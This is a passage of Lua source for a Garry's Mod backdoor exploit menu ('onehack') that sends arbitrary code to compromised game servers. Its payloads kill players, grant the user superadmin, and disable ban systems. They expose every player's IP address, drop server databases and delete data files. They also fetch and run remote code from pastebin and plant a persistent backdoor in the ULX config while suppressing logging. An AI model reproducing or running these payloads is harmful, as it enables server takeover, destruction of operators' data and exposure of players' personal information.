671 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
672 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
673 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
674 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
675
676 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
677 onehack.player_button_prev:SetText( "" )
678 onehack.player_button_prev:SetPos(5,95)
679 onehack.player_button_prev:SetSize(150,20)
680 function onehack.player_button_prev:Paint( w,h )
681 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
682 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
683 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
684 end
685
686 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
687 onehack.player_button_all:SetText( "" )
688 onehack.player_button_all:Dock( TOP )
689 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
690 function onehack.player_button_all:Paint( w,h )
691 if onehack.player_button_all:IsHovered() then
692 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
693 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
694 else
695 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
696 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
697 end
698 if onehack.selected_player == 0 then
699 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
700 else
701 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
702 end
703 end
704 function onehack.player_button_all:DoClick()
705 onehack.selected_player = 0
706 end
707
708 for k,v in pairs(player.GetAll()) do
709 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
710 onehack_player_button:SetText( "" )
711 onehack_player_button:Dock( TOP )
712 onehack_player_button:DockMargin( 0, 0, 0, 0 )
713 onehack_player_button.Paint = function( _, w, h )
714 if onehack_player_button:IsHovered() then
715 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
716 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
717 else
718 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
719 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
720 end
721 if onehack.selected_player == v then
722 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
723 else
724 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
725 end
726 end
727 function onehack_player_button:DoClick()
728 onehack.selected_player = v
729 end
730 end
731
732 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
733 onehack.backlistt_functions:SetPos(160,65)
734 onehack.backlistt_functions:SetSize(301,313)
735 function onehack.backlistt_functions:Paint( w,h )
736 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
737 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
738 end
739
740 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
741 onehack.backlistt_functionsss_list:Dock(FILL)
742 function onehack.backlistt_functionsss_list:Paint( w,h )
743 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
744 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
745 end
746 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
747 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
748 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
749 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
750 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
751
752 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
753 onehack.NetStart( onehack.selectedbackdoor )
754 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супе Г ом!\"); end" )
755 net.WriteBit(1)
756 onehack.SendToServak()
757 end)
758
759 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
760 onehack.NetStart( onehack.selectedbackdoor )
761 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
762 net.WriteBit(1)
763 onehack.SendToServak()
764 end)
765
766 onehack.AddFunction("Танцы", "cut", buttlistback, function()
767 onehack.NetStart( onehack.selectedbackdoor )
768 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
769 ]] )
770 net.WriteBit(1)
771 onehack.SendToServak()
772 end)
773
774 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
775 onehack.NetStart( onehack.selectedbackdoor )
776 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
777 net.WriteBit(1)
778 onehack.SendToServak()
779 end)
780
781 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
782 onehack.NetStart( onehack.selectedbackdoor )
783 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
784 net.WriteBit(1)
785 onehack.SendToServak()
786 end)
787
788 onehack.AddFunction("К утилика", "arrow_rotate_anticlockwise", buttlistback, function()
789 onehack.NetStart( onehack.selectedbackdoor )
790 onehack.NetWireString(
791 [[hook.Add( "Think", "#bone::manipulation#", function()
792 for k,v in pairs(player.GetAll()) do
793 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
794
795 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
796 end
797 end )]])
798 net.WriteBit(1)
799 onehack.SendToServak()
800 end)
801
802 onehack.AddFunction("Заб ать о ужия у всех", "controller_delete", buttlistback, function()
803 onehack.NetStart( onehack.selectedbackdoor )
804 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
805 net.WriteBit(1)
806 onehack.SendToServak()
807 end)
808
809 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
810 onehack.NetStart( onehack.selectedbackdoor )
811 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
812 net.WriteBit(1)
813 onehack.SendToServak()
814 end)
815
816 onehack.AddFunction("Выдать себе п ивилегию", "user_gray", buttlistback, function()
817 onehack.NetStart( onehack.selectedbackdoor )
818 net.WriteString( [[
819
820 local id = ]] .. LocalPlayer():UserID() .. [[
821
822 Player( id ):SetUserGroup( "superadmin" )
823
824 ]] )
825 net.WriteBit(1)
826 onehack.SendToServak()
827 end)
828
829 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
830 onehack.NetStart( onehack.selectedbackdoor )
831 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
832 net.WriteBit(1)
833 onehack.SendToServak()
834 end)
835
836 onehack.AddFunction("2D Модели", "font", buttlistback, function()
837 onehack.NetStart( onehack.selectedbackdoor )
838 onehack.NetWireString([[
839 for k,v in pairs(player.GetAll()) do
840 local a = v:LookupBone("ValveBiped.Bip01_Head1")
841 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
842 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
843 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
844 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
845 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
846 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
847 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
848 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
849 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
850 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
851
852 v:ManipulateBoneScale( a, Vector(4,0,4))
853 v:ManipulateBoneScale( b, Vector(0,0,0))
854 v:ManipulateBoneScale( c, Vector(0,0,0))
855 v:ManipulateBoneScale( d, Vector(0,0,1))
856 v:ManipulateBoneScale( e, Vector(0,0,1))
857 v:ManipulateBoneScale( f, Vector(0,0,0))
858 v:ManipulateBoneScale( g, Vector(0,0,0))
859 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
860 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
861 v:ManipulateBoneScale( j, Vector(0,0,0))
862 v:ManipulateBoneScale( k, Vector(0,0,0))
863 end]])
864 net.WriteBit(1)
865 onehack.SendToServak()
866 end)
867
868 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
869 onehack.NetStart( onehack.selectedbackdoor )
870 onehack.NetWireString([[
871 hook.Add("Think", "giant", function()
872 for k,v in pairs (player.GetAll()) do
873 v:SetModelScale(2.5, 100);
874 v:SetRunSpeed(400 * 2);
875 v:SetWalkSpeed(200 * 2);
876 end
877 end)]])
878 net.WriteBit(1)
879 onehack.SendToServak()
880 end)
881
882 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
883 onehack.NetStart( onehack.selectedbackdoor )
884 net.WriteString([[for k,p in pairs(player.GetAll()) do
885 p:ConCommand("say Я люблю Foer'a <3")
886 end
887 ]])
888 net.WriteBit(1)
889 net.SendToServer()
890 end)
891
892 onehack.AddFunction("Показать IP всех иг оков", "chart_organisation", buttlistback, function()
893 onehack.NetStart( onehack.selectedbackdoor )
894 onehack.NetWireString([[
895
896 local id = ]] .. LocalPlayer():UserID() .. [[
897
898 for k, v in pairs( player.GetAll() ) do
899
900 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
901
902 end
903
904 ]])
905 net.WriteBit(1)
906 onehack.SendToServak()
907 end)
908
909 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
910 onehack.NetStart( onehack.selectedbackdoor )
911 onehack.NetWireString([[
912 ULib.Ban = function() return false end
913 _G.FAdmin = function() end
914 ULib.addBan = function() return end
915
916 ULib.kick = function() return end
917 ]])
918 net.WriteBit(1)
919 onehack.SendToServak()
920 end)
921
922 onehack.AddFunction("Дискотека", "group", buttlistback, function()
923 onehack.NetStart( onehack.selectedbackdoor )
924 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
925 net.WriteBit(1)
926 onehack.SendToServak()
927 end)
928
929 onehack.AddFunction("Пломби овать", "server_link", buttlistback, function()
930 onehack.NetStart( onehack.selectedbackdoor )
931 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
932 net.WriteBit(1)
933 onehack.SendToServak()
934 end)
935
936 onehack.AddFunction(" азбанить всех", "database_edit", buttlistback, function()
937 onehack.NetStart( onehack.selectedbackdoor )
938 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
939 net.WriteBit(1)
940 onehack.SendToServak()
941 end)
942
943 onehack.AddFunction("Удалить все г уппы", "group_delete", buttlistback, function()
944 onehack.NetStart( onehack.selectedbackdoor )
945 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
946 net.WriteBit(1)
947 onehack.SendToServak()
948 end)
949
950 onehack.AddFunction("Сб осить деньги", "money_delete", buttlistback, function()
951 onehack.NetStart( onehack.selectedbackdoor )
952 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
953 net.WriteBit(1)
954 onehack.SendToServak()
955 end)
956
957 onehack.AddFunction("Очистить ка ту", "cut_red", buttlistback, function()
958 onehack.NetStart( onehack.selectedbackdoor )
959 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
960 net.WriteBit(1)
961 onehack.SendToServak()
962 end)
963
964 onehack.AddFunction("Изменить имя се ве а", "drive_rename", buttlistback, function()
965 onehack.NetStart( onehack.selectedbackdoor )
966 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
967 net.WriteBit(1)
968 onehack.SendToServak()
969 end)
970
971 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
972 onehack.NetStart( onehack.selectedbackdoor )
973 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за во овство, коде ы тоже люди и хотят есть! Они за абатывают на жизнь п одавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
974 net.WriteBit(1)
975 onehack.SendToServak()
976 end)
977
978 onehack.AddFunction("Отпе еть все две и", "door_open", buttlistback, function()
979 onehack.NetStart( onehack.selectedbackdoor )
980 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
981 net.WriteBit(1)
982 onehack.SendToServak()
983 end)
984
985 onehack.AddFunction("Отк ыть все две и на ка те", "door_open", buttlistback, function()
986 onehack.NetStart( onehack.selectedbackdoor )
987 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
988 net.WriteBit(1)
989 onehack.SendToServak()
990 end)
991
992 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
993 onehack.NetStart( onehack.selectedbackdoor )
994 onehack.NetWireString([[
995 local date = os.date( "%m-%d-%y" )
996 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
997 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
998 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
999
1000 for k,v in pairs(databases) do
1001 if sql.TableExists(v) then
1002 sql.Query("DROP TABLE "..v.." ;")
1003 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1004 end
1005 end
1006
1007 for k,v in pairs(datafiles) do
1008 if file.Exists(v) then
1009 file.Delete(v)
1010 file.write(v, "А вот нехуй было обманывать")
1011 end
1012 end
1013
1014 for k,v in pairs(sensitivefiles) do
1015 if file.Exists(v) then
1016 file.Delete(v)
1017 file.write(v, "А вот нехуй было обманывать")
1018 end
1019 end
1020 ]])
1021 net.WriteBit(1)
1022 onehack.SendToServak()
1023 end)
1024 --
1025 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1026 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1027 onehack.NetStart( onehack.selectedbackdoor )
1028 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1029 net.WriteBit(1)
1030 onehack.SendToServak()
1031 RunConsoleCommand("iseeyou")
1032 end)
1033 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1034 onehack.NetStart( onehack.selectedbackdoor )
1035 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1036 net.WriteBit(1)
1037 onehack.SendToServak()
1038 end)
1039
1040 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1041 onehack.NetStart( onehack.selectedbackdoor )
1042 onehack.NetWireString([[
1043 local config = ULib.fileRead( "data/ulx/config.txt" )
1044
1045 config = config.."\nulx logEcho 0"
1046
1047 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1048
1049 config = config.."\nulx logEcho 1"
1050
1051 ULib.fileWrite( "data/ulx/config.txt", config )
1052
1053 ]])
1054 net.WriteBit(1)
1055 onehack.SendToServak()
1056 end)
1057
1058 onehack.AddFunction("А магеддон", "bomb", buttlistback, function()
1059 onehack.NetStart( onehack.selectedbackdoor )
1060 onehack.NetWireString([[
1061 hook.Add("Think", "armageddon", function()
1062 local explode = ents.Create( "env_explosion" )
1063 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1064 explode:Spawn()
1065 explode:SetKeyValue( "iMagnitude", "500" )
1066 explode:Fire( "Explode", 0, 0 )
1067 end)
1068 ]])
1069 net.WriteBit(1)
1070 onehack.SendToServak()
1071 end)
1072
1073 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1074 onehack.NetStart( onehack.selectedbackdoor )
1075 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1076 net.WriteBit(1)
1077 onehack.SendToServak()
1078 end)
1079
1080 onehack.AddFunction("Сказать что се ве у пизда", "sound", buttlistback, function()
1081 onehack.NetStart( onehack.selectedbackdoor )
1082 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1083 net.WriteBit(1)
1084 net.SendToServer()
1085 end)
1086
1087 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1088 onehack.NetStart( onehack.selectedbackdoor )
1089 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Be Friend\")]])")
1090 net.WriteBit(1)
1091 net.SendToServer()
1092 end)
1093
1094 onehack.AddFunction("Музыка - П ивет, это к уто", "sound", buttlistback, function()
1095 onehack.NetStart( onehack.selectedbackdoor )
1096 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет это к уто\")]])")
1097 net.WriteBit(1)
1098 net.SendToServer()
1099 end)
1100
1101 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1102 onehack.NetStart( onehack.selectedbackdoor )
1103 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Somehere over\")]])")
1104 net.WriteBit(1)
1105 net.SendToServer()
1106 end)
1107
1108 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1109 onehack.NetStart( onehack.selectedbackdoor )
